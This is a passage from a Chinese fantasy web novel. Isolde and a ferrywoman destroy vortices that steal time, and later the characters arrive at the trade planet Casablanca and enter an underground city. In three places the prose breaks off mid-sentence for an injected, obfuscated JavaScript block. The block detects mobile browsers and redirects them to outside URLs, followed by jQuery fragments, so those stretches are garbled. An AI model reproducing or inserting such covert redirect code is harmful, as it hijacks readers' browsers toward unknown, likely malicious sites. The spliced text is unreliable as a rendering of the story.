湖面又一次被破开,伊索尔德钻出水面,双手撑着草地准备上岸。一道浓重的阴影落下来,摆渡者弯着腰,向她伸出了手。 她愣了一下,把自己的双手搭在骨头上面,被摆渡者用力地拉出了水。 “我没想到你会去那么久,”摆渡者说,“我给你准备了衣服...咦,你没有被水打湿?” “我用精神力把自己裹起来了,”伊索尔德用两只手在空中比划出一个蚕蛹的样子,“不过谢谢你,我觉得我还是换身衣服比较好。” “跟我来。你有发现什么吗?” 摆渡者领着她往二楼走去,她打开了一间位于走廊尽头的房间,从房间里的衣柜拿出了崭新的衣裙。 伊索尔德跟在她后面,不时看看四周:“有人在这里住过吗?” “看你问的是这栋房子还是这个房间了,前者的话,有,就是跟你一样误入的那个。后者的话,放心好了,这些东西都是我刚刚给你准备好的。这栋房子很智能,它会根据你的想法为你提供你需要的东西。试试看?你可以在心里对它说你想要什么东西。” 我想要鳞青石。 伊索尔德默默想。 闪闪发光的正八面体青色矿石从天而降,把伊索尔德砸得猝不及防。她手忙脚乱用精神力把它们都兜住,发现重量和味道都跟自己以前吃的没什么区别。 摆渡者看了看她手上那枚少了一个口的鳞青石,又看了看她怀里抱着的那一大堆。 “我的错,应该先让你吃饭的。你是不是很饿了?” “还好,也不是很饿。”伊索尔德又悄悄咬了一口,“怎么这么问?” “房子会根据需要变出东西,一般来说,变出来的数量多少跟你想要的程度挂钩。”摆渡者委婉地说。 看伊索尔德手上的那一堆,摆渡者由衷觉得要么虫族食量异于常人,要么就说明她真的很饿。 伊索尔德默默停下嘴,开始自我怀疑。 “可是我真的觉得还好...”她盯着石头,挣扎了一下,又不由自主咬了一口,“我在家里的时候每顿吃十块就够了。睡觉前我还吃了十二块。”理论上来说她应该已经饱了才对。 “也许是停留在时间之河这件事对你造成了影响,”摆渡者猜测,“你需要更多的能量来对抗时间之河,以免被它拖入河中,成为亡者。” “它还会自动制造亡魂?”鳞青石本身体积不大,伊索尔德几口就吃掉了。她换了一块新的继续啃,像一只仓鼠勤勤恳恳把这些石头转化为自己体内的能量。 摆渡者摇了摇头:“一般来说不会,但很显然你不是一般情况。” “唔。也对。它如果真的有那么智能就应该定期检修和更新,我就不会来这里了。” 摆渡者安慰道:“放心,不管过了再久也只是一场梦。你出去的时候一切都还会是原来的样子。” “我知道。” 伊索尔德吃完最后一块,用手帕擦了擦手。她拿起放在床边的衣服,钻进了衣帽间。 咔哒。门被推开,换好衣服的伊索尔德走到摆渡者身边。 “我们走吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14559152|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她说,“正好可以跟你说说湖下面那东西。” —— 餐厅在一楼,橡木桌上摆着一份奶油蘑菇汤,一份凉菜,以及两个三明治。三明治里夹着生菜鸡蛋和番茄,两面用黄油煎过,一个有伊索尔德脸大的木碗里装满了切好的水果,两杯苹果汁摆在旁边。 伊索尔德忽然发现这房子里的所有东西都是用木头做的。 “简单来说,我在湖里面看到了一个漩涡,那里面有很多丝线拴在莲花的根部往里拽,我猜你种下去的莲花都被它‘吃’掉了。就像这样。”伊索尔德喝了一口果汁,张开手指又狠狠收紧,做出一个生动的吞吃动作。 “我从来不知道那下面还有个漩涡。它具体长什么样?”摆渡者的声音里出现了明显的惊讶。 “黑色的,给我的感觉有些奇怪。”伊索尔德思索了一下,“塔纳斯曾经带我跨越过一座城池,跟那个很像,但更加混乱且扭曲,好像那里面连接的不仅是空间,还有时间。你不是说这里叫时间之河吗?会不会跟它有些关系?” 摆渡者沉默了一会儿,缓缓摇头,否认了这一猜测:“时间之河之所以叫这个名字是因为它是所有生命的尽头。每个生命的时间是有定数的,当这时间结束,生命的灵魂就会来到来到这里,前往下一个渡口。渡口每多出一个灵魂,湖泊上就会多出一朵莲花,但它们只是普通的莲花,没有什么特殊之处,所以我以为也许是最近没有照顾好它们,导致它们普通地消失了...” 摆渡者停下动作,不再说话了。 她是一具白骨,没有神情可言,但此刻,伊索尔德从她的语气和目光中看到了某种悠久而遥远的东西。 伊索尔德在塔纳斯的眼睛里看到过同样的东西。演唱会中,她望着自己的神情,和摆渡者出神时的样子一模一样。 “如果真像你说的那样,那么漩涡里面肯定有问题。”摆渡者很快回过神,笃定道,“它在偷取时间。” “你打算怎么做?” “异常必须清除。生命必须回到本来的位置。”摆渡者的语气冷酷无比,跟她第一次对伊索尔德说活人免进时有些像,“时间的倒转不被允许,妄图利用它的存在都将付出代价。” “我同意。”伊索尔德说,“我可以一起吗?” 摆渡者:“?” 她问:“为什么?” “那个漩涡。”她说,“我觉得很有趣。我想去里面玩。本来刚刚就准备去的,但是我想起来你还在等我,所以就先上来了。” “那不是什么好玩的东西。”摆渡者很严肃。 “没关系啦。我对于好玩的标准比较,”她想了想,“反正好像跟大家不太一样。” “我有分寸。”她骄傲地说,“我从来没有让人担心过我。” “我现在就很担心。” “那是因为你刚认识我不久,”她笑起来,绿色的眼睛闪着光,“之后你就会发现,我非常可靠又非常强大。” 27.番外-时间之河(三) 两朵水花在湖面上溅起,摆渡者牵着伊索尔德的手腕,带着她往湖面深处游去。 她的身边漂浮着淡淡的蓝光,那些蓝光吸引着逐渐破败的莲花,甚至渐渐为它们重新披上了蓝紫色的光彩。 “我的力量来自于时间之河,”她解释道,“这些莲花某种意义上可以视作时间之河的分身。我可以对莲花进行反哺,但是它们总是很快就重新凋零,治标不治本。” 伊索尔德在旁边点了点头,她往下望去,又一次看到那巨大的漩涡。 它比上次看到时更大了些,如果仔细观察,可以发现那边缘在极其缓慢地扩张。 假以时日,或许它会将这栋房子和所有莲花都吞下去也说不定。 越靠近漩涡,摆渡者的气息就越发寒冷。她身上的淡蓝色光芒已经逐渐像天蓝色转变,如同海面上终年不化的冰川,看起来剔透而美丽。 “我们到了。”摆渡者在漩涡面前停下来,“还记得你刚刚答应我的吗?不许乱动,不要乱走,必须一直在我能看得见的地方。” 伊索尔德点头:“我知道。” 未知意味着风险,摆渡者搞不懂为什么她能这样毫不顾忌地把整个世界当成游乐场。普通人发现自己出现在陌生地方多多少少都会感到不安,但伊索尔德却自然得好像她已经在这里生活过许久一样。 她不畏惧危险,似乎笃定这个世界上没有什么东西会伤害到她。 伊索尔德看出她的不解和踌躇,安慰道:“别担心。母亲会看着我的。” “母亲?” “我们的母亲,虫族的创造者。她一直保护着我们。” 这听起来跟那些古老到难以辨别真假的传说也没什么区别,跟哄小孩子的童话故事差不多,除了在特定时期提供安慰及借口外似乎别无用处。 摆渡者更不安了。 她长长叹了口气,放松了与漩涡的对抗。 “准备好,我们要下去了。” 巨大的吸力从下面传出,伊索尔德感到自己的四肢都被漩涡里所伸出的丝线缠绕。她没有抵抗,任由这力量将自己吞了进去。 湖面平静无波,似乎什么都没有发生。 —— 黑暗是伊索尔德进入漩涡后的第一感受。 漩涡里没有光,它像一个长长的隧道,连接着里面与外面。伊索尔德看不见摆渡者,她甚至不确定自己是否还存在着。四肢和第六感都被封闭,她的精神力陷入沉眠,唯一能够用来观测周围的是与生俱来的第二种视觉。 第二视觉被开启,伊索尔德的世界被靛青色填满了。 靛青色属于后天生命,它们并非自主诞生,而是因为某种缘由被制造出来,又因为种种原因获得了属于自己的灵魂。 比如安装了强人工智能的机器,又比如觉醒了自我意识的仿生人。甚至包括太阳帝国曾经制造过的复制人。 摆渡者也是靛青色的,她的光团边缘有一圈红色,在隧道中很明显。 伊索尔德发现她还在自己身边,两人的手也还牵在一起,只是她感觉不到了。 靛青色的海洋让她头脑发晕,她皱了皱眉,把第二视觉关掉了。 伊索尔德不习惯这种颜色,她喜欢热闹,喜欢色彩鲜艳而美丽的东西,第二视觉会让她觉得自己处在一个冷冰冰的世界里,除非必要,她很少使用这种能力。 她和摆渡者依然在漩涡里面飘飘荡荡,像两支远离枝头的芦苇絮,缓慢地被它吞噬,又输送到更核心的地方。 不知道过了多久,伊索尔德的眼前终于出现了白光。那道光温柔又亲切,让人情不自禁想回应它的呼唤,想更靠近一点,想去到它身边。 离白光越近,伊索尔德的身体感官也在逐渐恢复运作,当她和白光靠得足够近,她已经能够重新感受到摆渡者的存在。 她张开口,发现自己终于可以发出声音。 “我们进去吗?”她问。 摆渡者不说话,她轻轻点了点头,像打开一扇门那样,打开了白光。 白光后面是漫天的风沙,在这片看不到尽头的沙漠中心,坐落着小小的一片绿洲。 它的绿色鲜明无比,即便站在门外,伊索尔德也仿佛能感受到那水珠扑面而来的清凉气息。绿洲中不合常理地长满了各类花草果木,它们不管是生长季节还是生长条件都大不相同,难以相信会同时出现在这一片小小绿洲中。 绿洲的上方悬停着一面半透明的时钟,它的时针缓慢走动着,每当走到一圈结束,那片绿洲就更加衰败下去一点。 伊索尔德安静地等待着,摆渡者一言不发。 又一圈之后,绿洲彻底湮灭在沙漠之中。组成它的所有部分都变成了沙尘。 时针咔哒响了一下,像卡住了。 它顿了一下,开始反走。 绿洲重新出现了。 “这是什么?”伊索尔德问。 摆渡者深吸了一口气:“溯流。” 时间之河容纳着所有生命的时间,每一滴水都意味着一段时间,它庞大又连绵不绝,有时候消失一些,也难以被及时注意到。 在摆渡者没有注意到的地方,有人偷走了一部分时间,并把它们储存在了这个地方。 被偷走的时间让绿洲长存,让这里还保有一片生机。 “溯流就相当于,一个总是顺时针走的时钟被强行调成了反方向。在这个时钟里,时间无法构成循环,所以支撑它的力量会被用光,用这种方法构筑出来的人或物也会崩毁。如果想要一直重现,就必须一直补充时间。” 伊索尔德想了想:“谁会想要这样的时间呢?” “很多。”摆渡者笑了笑,“有的人以为重返过去就可以弥补过错,有的人则想要永生,还有的人怀有某种阴谋,亦或者难以平息的执念。人类有太多理由想偷走时间了,一百个人的有一百个理由。” “你不想吗?”她问。 “我会尽力让自己的每个决定都不后悔。”伊索尔德道,“只要没有遗憾,就不必重来。” “的确如此。但并不是每个人都愿意这样的。” 绿洲还在一遍遍崩塌又重建,摆渡者凝视了它一会儿,没有走进去,而是伸出了手。 她像托住一朵雪花那样轻柔地伸出了手,时间被具现化,化作一朵莲花回到了她的手中。 莲花消失了,与此同时,绿洲上的时钟开始疯转。 它转得很快,很快就超出了自己的极限。齿轮开始发出沉重的吐息,时钟本身开始损毁,片刻后,绿洲和时钟全都消失得无影无踪。 沙漠中的风沙依然在不停旋转,摆渡者关上了门。 “结束了吗?” 摆渡者看着跟刚才没有任何变化的白光摇了摇头,她的身上散发着属于社畜的疲惫:“还有很多,漩涡吸取到的所有时间都用来喂养这道光了,它里面有很多溯流,按照刚刚的强度计算,大约还有一二十个需要被回收。你累了吗?我可以先送你上去。” 伊索尔德还不想这么早就上去,她道:“我可以帮你吗?要怎么做?” “找到核心并摧毁。很简单。但是你没办法感受到时间,如果不能确定核心在哪的话,会很麻烦。”摆渡者摸了摸自己头上的长角,她又伸出了手,打开了下一扇门,“还是我来吧,你在旁边看着就好。” 这扇门里是一场演讲,看不清面容的数千人坐在一个巨大的礼堂中,台上有个人正在发表讲话,ta的身体和声音很模糊,整个场景看起来像被施加了过多的柔化滤镜,看久了还会隐约觉得有些恶心。 摆渡者专心感受着时间的流向寻找核心,伊索尔德看起来若有所思。 “你说的核心是不是那个?”伊索尔德突然问,她的手指向了演讲者下方的稿纸,上面画了一面小小的时钟。 摆渡者没想到一个感受不到时间的存在竟然会比自己先察觉到核心,她有些惊讶,又一次伸出了手,一边回收能 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这场战争持续的时间很长,在溯流中,那些已经化为白骨的尸体又一次披上血肉,加入这场似乎永无止境的厮杀。 伊索尔德没看见核心,摆渡者同样。她们在门外站了很久,半晌,伊索尔德问道:“如果把这整个场景全部抹除,可以结束这场溯流吗?” “可以。”摆渡者肯定道,“但是太耗精力了,我一般不那么做。” 她想了想,又问:“那我来?” 摆渡者后退了一步,把舞台让给她:“请。” 伊索尔德张开手,精神力凝结而成的丝线从她的衣袖中涌出来,它们从天而降,连接在了每一个士兵的身上。不仅是人,这些丝线还一并连接了草木、军旗、山峦、河流......眨眼间,整个战场都已经被她包裹成一个圆润的球体。她的脸色变得苍白,眼中的绿色褪去,变成了金色的海洋。 银发金眼的王虫垂首看着下方,她轻轻合拢了自己的手指。 丝线往内收紧,被操纵的傀儡开始比之前更加凶残地拼杀,连没有生机的布料和兵器都短暂活了过来,劈砍着人体、草木、天地。 片刻后,整个战场都变得四分五裂,在这濒临崩溃的天地中,一面时钟从土壤里浮现了出来。 “原来藏在了这里。”伊索尔德自言自语。 她轻轻挥了挥手,一条线抖动了一下,直直刺穿了时钟。 慢慢凝聚成形的莲花出现在她的手中。 “给。”她把花举起来,递到摆渡者面前。 “谢谢你。” 她又说:“你确实非常厉害。” 伊索尔德矜持地笑了笑。 —— 之后清除溯流的行动就变得简单了起来,变成了流水线作业——首先找核心,找不到就由伊索尔德或摆渡者暴力拔除。 伊索尔德跟摆渡者陆陆续续收回了二十五朵莲花,当白光彻底消失之后,她甚至显得有些失望。 “就没有了吗?” 摆渡者好笑地看着她:“你还没玩够吗?” “有一点。”伊索尔德坦诚道,“不过对你来说,还是越少越好吧。” 从这段时间的相处来看,摆渡者算是时间之河的雇佣者,虽然伊索尔德没有问过摆渡者是怎么应聘的,但大概也能猜出来。多半是死了或者濒死的时候跟时间之河做了交易吧,她漫不经心地想,摆渡者很明显具有对时间的适应性,想必这种特性在各类生命中很稀有,所以才会在死后也被抓来上班。 上班的人总是希望自己工作的时间和内容少一些的。 摆渡者笑了笑,没搭话,她向伊索尔德伸出手:“走吧。本来说好要帮你投诉老板的,结果你先替我无偿上班了。” “也不算无偿...”伊索尔德慢慢说,“我还挺喜欢你的,不然这种事我才不会干的。” “那,谢谢你的喜欢?” “不用谢。” 28.请带好您的随身行李,准备下船 接下来的旅程平静异常,逃过一劫的百首龙用另外两管血液和深海之冕(尽管伊索尔德明确表示自己不需要)交付尾款,并在第八天离开星舰,他走得迫不及待,连背影都透着一种欢欣。 深海之冕对伊索尔德来说是个烫手山芋,考虑到出手难度,诺贝塔承诺愿意为她做担保,在即将召开的地下城拍卖会中售出。 就当是为自家回收失物了。诺贝塔这样安慰自己。 星舰上的蒙面舞会最终还是没有召开,那张邀请函和假面都一并作为纪念品留在了各位旅客的手中。而主办方对此深表遗憾,并在经济上做出了一定的补偿。 “所以幻影也没有了?”苏珊有点失望,“这一趟时间之旅完全搞砸了啊。” 溯流让他们从房间里消失了,灰百合在他们离开后不久就醒了过来,它已经很习惯装插花或饰品了,很顺利就躲过了搜查,没给星舰上的人带来更多困扰。 “谁让你进不去。”伊索尔德在吃提拉米苏,磨得细碎的咖啡粉粘在银勺上,像蒙尘的镜子。她吃得很开心,灰百合缠在她脖子上,叶子拍的哗哗响,眼看着又想来一次绞首。 只有诺贝塔向它道歉了,虽然自己也不知道为什么要这么做,但经过这几天的相处,诺贝塔已经很熟悉它的性格——灰百合跟伊索尔德一样喜欢热闹,但它忍受不了寂寞,如果把它单独留下,它就会生气。 因此她很诚恳说道:“对不起。有机会的话一定带你去。” “没关系,不是你的错。是卡俄斯她总是喜欢丢下别人跑去奇怪的地方。”灰百合很大度地原谅了她。 还很好哄。 “哪里奇怪?”伊索尔德反驳,“这可是真正的时间旅行。” “你上次也这么说。”灰百合道,“结果只是一个梦!” “那是因为时间流速不一样,现实世界里只是一场梦,实际上早就不知道过了多久了。”伊索尔德哼哼,“我在里面可是过了很久了呢,有整整一年。” 灰百合敷衍地点头,看起来完全没怎么当真。 诺贝塔坐在一边听她们吵嘴,不发一言。 她已经发现了,当卡俄斯跟灰百合凑在一起的时候,她们两个就会显而易见变得非常幼稚,仿佛心理年龄一夜倒回到刚出生的时候。起初她还会怀疑是不是自己想多了,但观察了这么多天,她已经可以非常坦然地承认,没错,这位足以被冠以多种冷酷残忍头衔的虫族有时候的确就是这么幼稚。 或者也可以换个说法,即卡俄斯她有多种性格,而在灰百合面前时恰巧是她最放松的时候。 在这种时候,最好的办法就是不要说话,等她们吵完,然后当做无事发生。 诺贝塔有时候会望着她们出神,确信自己心中出现了“羡慕”的情绪。 她其实也挺想要一个永远不会离开自己、永远不问自己对错的朋友,这件事光是想想就让人心生幸福,尽管苏珊和卡俄斯看起来都对此毫无所觉,她们一定已经生活了很久,才会这样理直气壮地把对方的存在视作理所当然。 但她以前从未有过,以后恐怕更不可能会有。 落地窗外宇宙沉寂依然,假如极目远眺,以人类的视力也能够看到远处属于文明的光辉。 星舰的速度已经放缓,天边的尽头,已经可以看到一片闪烁的霓虹光海。 那是这趟旅行的终点站,第四星系的中心。 卡萨布兰卡。 这颗星球以百合花和商业闻名,最开始是一座旅游城市,后来凭借旅游业发展多种产业,又在多任市长的建设成为了帝国商业版图不可缺少的一部分,由于每年都会缴纳大批税款充盈国库,也得到了帝国的重视与宽松政策。时至今日,已然成为了帝国最大的商业中心,在六大星系中也算得上是大城市。 “说起来,诺贝塔是帝国人吧?”想到这里,苏珊忽然发问。 它回忆着之前在攻略和网站上看到的评价,用自己的话复述了一遍:“完全看不出来呢。我之前听说帝国人都很傲慢,优越感很强,据说有着看了就容易生气的外表和性格。” “可能是因为我没有异能吧。没有异能可是得不到优待的,帝国只承认异能者的人权。也是因为这个原因,我之前才一直在偏远星系生活。毕竟这样的身份不适合太早进入帝国中心。”她的伪装已经去得差不多了,但还坐在轮椅上。 在最近这段配合伊索尔德的时间里,诺贝塔发现了轮椅的不少优点:足够方便,足够有迷惑性,最重要的是还可以偷懒,就算她在下面偷偷做什么也没有人会发现,至于被人误认为残疾人什么的,诺贝塔表示自己没有异能在帝国里本身就算是残疾人了,现在不过是多了个身体残疾而已,她完全不介意。看她的行为,隐约有一直用此伪装示人的打算。 “很严重的阶级歧视啊。”灰百合感叹,“你辛苦了。” 诺贝塔愣了一下,眨眨眼,有些不确定地说:“...其实还好?谢谢你。” 她从没觉得自己可怜过,也并不认为异能者就多么高人一等。她的兄弟姐妹将她视为不起眼的家伙,从没想过曾祖母会将这样大的一份家业交给一个几乎从没公开露面过的“残疾”。 而她会证明他们的想法有多么错误。诺贝塔唇边噙着笑,温柔如春风一般,令苏珊打了个寒战。 “之后你有什么计划吗?”伊索尔德打了个呵欠,“比如有没有人来接你下船,或者有没有人来暗杀之类的。噢,对了,你需要去公证处一趟吧,听说卡萨布兰卡的公证处周末是不上班的。” 而星舰抵达卡萨布兰卡的时间刚好是周五的下午。 “我们不能直接去公证处。”诺贝塔摇了摇头,“我们得先去一趟地下城。” “我没意见。”伊索尔德拽走灰百合,打算回自己的房间休息,“我们的雇佣关系会在公证处协议生效的那一刻解除,在这之前,你想做什么都行。需要我陪你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600179|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起下船吗?” “不,不用。在暗处帮我看看有多少人盯着吧。”诺贝塔垂下眼,看着自己的手心,那里嵌着一块芯片,是曾祖母留下来的、决不能被其他人拿到的东西,“不用全杀了,砍掉四只手指,再留下一个报信者的舌头。” “血腥暴政。”灰百合微微张大了花瓣,诺贝塔在此之前的画风都非常的温柔娴雅,就算是现在突然说出这样的话,也跟前几天提醒伊索尔德蛋糕快烤过头的时候没什么区别,“真看不出来...” 诺贝塔莞尔一笑:“毕竟我只是一个柔弱的普通人。他们想做的事可比我暴力多了,银河集团发展了很久,也沾了些见不得光的东西,我不喜欢它们,只好请他们离开了。你会喜欢寄生在自己身上的菟丝花吗?吸取你的营养,还想要杀死你。” “啊,不是。我没有说你不好的意思,”它有些词穷了,不知道该怎么形容,半晌,只能说,“我是想说你跟卡俄斯还挺像的。她会很高兴的。” 说完,它转过去看站在门口已经有些失去耐心的伊索尔德,暗暗捏了她一下:“对吧?” 伊索尔德抱着手靠在墙边,听闻此言,她歪了歪头,嗯了一声。 语气懒洋洋的,听不出高兴与否。 “你觉不觉得她跟我们说的东西有些太多了?”回到房间里之后,灰百合悄悄跟伊索尔德咬耳朵,“银河集团的内部矛盾真的可以讲给我们听吗?” 甩掉伪装的伊索尔德明显懒散了些,她在床上滚了滚,抱着枕头滚到床头,灰百合正在那里喝水。 伊索尔德伸出手指,戳了戳它:“你不是对人类很有研究吗?尊敬的苏珊大人有什么看法?” “呃,”苏珊被她戳得一抖,几滴水珠掉在了叶片上,它毫不客气用伊索尔德头发擦掉,又埋头苦喝,“我觉得她要么就是想利用我们,要么就是想拉拢你。” 它又想了想:“哦,也不排除看上你了。你捏脸手艺一向挺好的,我听说人类有童养媳的传统。” 灰百合认真征求伊索尔德意见:“你觉得我说的对吗?” 伊索尔德沉默了下,觉得灰百合不愧是精灵族出品,在继承了记忆的同时,也继承了他们时时抽风的脑回路。 “我觉得你想太多了。”她很诚恳,“我才刚成年,你有点变态了。” “是你先问我的。”灰百合嘀咕。 “你还是想想去地下城的事情吧。”伊索尔德把自己滚回床中心,拉上了被子,她被淹没在羽绒毯里面,声音从底下闷闷地传来,“我睡觉了,晚安。” 灰百合关掉灯,室内昏暗下来,它把最后一点水也喝干净,自己挪到床头,拽了拽被子边沿,一只手伸出来,撑起一条小口,灰百合钻进去,在被窝里躺好。虫族的体温偏凉,但对苏珊来说,这种温度刚刚好。 它收拢花苞,把自己也埋进被子里。 现在它的声音也闷闷的了。 “晚安。” 29.地下城与奶油泡芙 旅行第十天。诺维星港。 星舰即将靠岸,船上的工作人员开始放送广播,通知各位乘客即将抵达终点站。诺贝塔在前一天晚上跟伊索尔德交换了通讯号,然后就独自一人离开了。 伊索尔德在她后面,在人群中不远不近地跟着她。她下船之后又恢复了白发白眼的伪装,飘逸的长裙随着走动卷出流纹般的纹路,她戴着一顶白色的宽檐帽,手腕上缠着一枝百合花,莹润的灰色珍珠和深绿叶片自下而上攀爬着,覆盖了大半个手臂,这奇异的花朵衬着她的发色与面容,使得她远远看去像是传说中走出来的花妖。 灰百合已经听到有人在小声讨论伊索尔德是不是精灵族了,尽管她并没有尖尖的长耳,但这年头伪装手段层出不穷,也许她只是一个不想暴露身份的精灵。 刻板印象害死人。苏珊在心中慨叹。光看伊索尔德现在的外表,谁能想到这样她是凶名在外的虫族呢? “你是故意的吗?”苏珊这次采用的形象比之前更夸张,它有一朵花苞垂在伊索尔德的肩膀,刚好够它跟伊索尔德说悄悄话。 伊索尔德发出了疑惑的鼻音。 “我记得你很少穿这件裙子,嫌弃它不方便行动。所以我猜你穿它是因为有特殊的理由?比如帮诺贝塔吸引注意力什么的。” “猜错了。”伊索尔德小声说,“其实是因为早上起晚了差点没来得及所以随便抓了一件最近的衣服。” 灰百合:“......不管怎么样,塔纳斯会高兴的。她可喜欢这件衣服了。我帮你拍个照发给她?” “好啊。你拍吧。”伊索尔德把帽子往后挪了点,她扒拉了一下灰百合的花苞,让它们簇拥在自己的颈边,“好了吗?” “好了。顺便录了一段视频。你看到诺贝塔说的那些人了吗?” “嗯,全都在前面,气息太明显了。不过他们似乎也不是很确定哪个是任务目标,所以各自选了自己觉得最可疑的跟着,跟着诺贝塔的有五个,红黄蓝青紫,”伊索尔德挑了下眉,“不错啊,这衣服颜色快凑出一个彩虹了。” 和诺贝塔想的一样,星港里有很多人明里暗里地观察着人流,哪怕她已经死亡的消息传遍了整个第四星系,有人依然为她布下了天罗地网。 伊索尔德跟在诺贝塔后面总共抓到五个尾巴,经过审问,发现他们分别受雇于五个不同的人。 “想要你命的人还真多。”伊索尔德感叹。她们正在星港外一条不起眼的小巷里,这里紧挨着贫民窟,人员成分复杂,很方便做点见不得光的事情。 顺便一提,地点由诺贝塔提供。 诺贝塔推着轮椅从角落里缓缓出现,她居高临下地一一看过那些人的面容,半晌,淡淡道:“这不奇怪。卡萨布兰卡是银河集团的发源地,他们手上或多或少都在当地有些势力。” 他们指的是诺贝塔的兄弟姐妹,那些想要抢夺银河集团创始人遗嘱的人。 伊索尔德靠在墙上,手里把玩着一把蝴蝶刀——这是离家前克索送给她的礼物,平时可以当武器用,必要的时候还可以当定时炸弹。 “按你说的办了,”伊索尔德挨个点过地下倒得歪七扭八的人,“四根手指、一个报信者的舌头,接下来呢?” “去地下城。”诺贝塔说,“地下城垄断了卡萨布兰卡的拍卖行业,没有人敢在她那里闹事。” —— 地下城的入口在一条老旧通道里。此刻已是夜晚,通道两边零零散散坐着几个流浪汉,蓝幽幽的灯光照在他们头顶,打出一圈暗淡的阴影。 诺贝塔对这神似恐怖片的一幕视若无睹,她熟练地找到其中一个流浪汉说了几句话,然后伸出手,出示了一枚徽章。流浪汉眯着眼仔细看了看,他缓慢地点点头,从地上站起来。 “过来。”诺贝塔招呼她们。 流浪汉带着她们七拐八弯地进了一个公园,幽暗的树木下,静静立着一间血红的电话亭。 流浪汉为她们打开了门,又自顾自地离开了。 在他走后,灰百合从伊索尔德的手腕上探身:“这是?” “引路人。”诺贝塔言简意赅,她走进电话亭拉下话筒,在轮盘上按下一串数字,“地下城有多个入口,平常处于关闭状态,只有在引路人的带领才会打开。这里是最近的一个。” “如果没有找到引路人怎么办?” 诺贝塔按下最后一个按钮,咔哒一声,电话亭开始下沉,她想了想:“城主心情好的话会放他们进来,心情不好的话,大概就只能留在外面了。” “引路人工资很低吗?” “以卡萨布兰卡的平均值来说,我认为属于中上水平。” 考虑到卡萨布兰卡的商业水平,灰百合认为引路者赚得还是挺多的:“所以当流浪汉是个人爱好咯?” 诺贝塔被问住了,她以前一直生活在外面,对卡萨布兰卡其实并不熟悉,看起来游刃有余也只是因为有长辈留下来的资料,一旦涉及到资料里没提过的东西,她就很有些迷茫。 而很显然曾祖母并不会在资料里告诉她一个引路者为什么要把自己弄成流浪者的样子。 灰百合还保持着探身的姿势“望”着她,诺贝塔顿了顿,迟疑道:“可能是因为这样不引人注意...?” 可是卡萨布兰卡根本没有流浪者,但凡对这座城市有一定了解的人都会意识到那些通道里的流浪汉是不合常理的存在。 所以难道真的是爱好?她有些不可思议地想。 —— 电话亭在诺贝塔的沉思中抵达了目的地。它发出沉闷的轰隆声,门把手上亮起引人注目的白色光点,伊索尔德率先打开门走了出去。诺贝塔跟在她后面,确认生命体都离开之后,电话亭自动关上了门,往上升去。 外面站着一个穿着黑西装的女孩,她脸上带着亲切的笑容,令人如沐春风。 “城主让我来接您。请问要现在过去吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642660|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>诺贝塔看向伊索尔德:“我要去一趟城主府,你们呢?” “我们分开吧。”伊索尔德毫不犹豫道,“我还没来过地下城,先带苏珊去逛逛。” 诺贝塔颔首:“我会让城主为你们留出客房,如果有需要的话可以来城主府找我。我这几天都会待在那里。” 女孩脸上的笑容分毫未变,她对伊索尔德微微躬身:“我们也为您额外准备了观光手册和小型光梭钥匙,权限在刚刚已经为您开通,在接下来的七十二小时内您都可以在城内畅通无阻。” “你们是旧识?”伊索尔德问诺贝塔。 “曾祖母帮过城主几次。”诺贝塔言简意赅,“这应该是感谢你把我平安送到的礼物。” 伊索尔德点点头,她不再多问,从另一通道离开了。 诺贝塔目送着她远去,低声对女孩吩咐了几句,后者眼中闪过一丝惊讶,随后点点头,拿出终端发了条消息出去。 “城主说没问题。”片刻后,女孩抬起头来说,“她会留意的。” —— 一艘小型光梭停在出口,伊索尔德刷脸开门拿到了放在里面的观光手册,手册很厚,附带了地下城的地图。 地下城一共有上中下三层。上层是干净的商业街,经营产业都经过筛选,属于手续齐全身家清白的合法店铺。中层是住宅区,只有持有地下城居留证的人才能购买房屋,旅客只能住在由地下城特别提供的旅舍内,且对可以游览的区域做了严格划分。重头戏在下层,那里是拍卖会的所在地,也是整个地下城收入的主要来源。诺贝塔所要前往的城主府也在那里,据说就跟拍卖场隔了两个街区。 伊索尔德一目十行看完手册,她翻到手册中间点了点某个地名:“去这里?” 苏珊看了一眼,那是位于上层的一条美食街,离她们不远。它看了看上面花大篇幅介绍的奶油泡芙,瞬间理解了伊索尔德的理由——甜食。 它无所谓:“行啊。但你不去拍卖会吗,下层的开放是有时间限制的,如果你因为吃东西吃过了时间可就进不去了。” “我研究过了,美食街的商家提供打包和预定服务,这里有留通讯号,我可以现在先点好要什么然后让他们统一送到指定地点。” “可是这里没有菜单,你怎么点?” 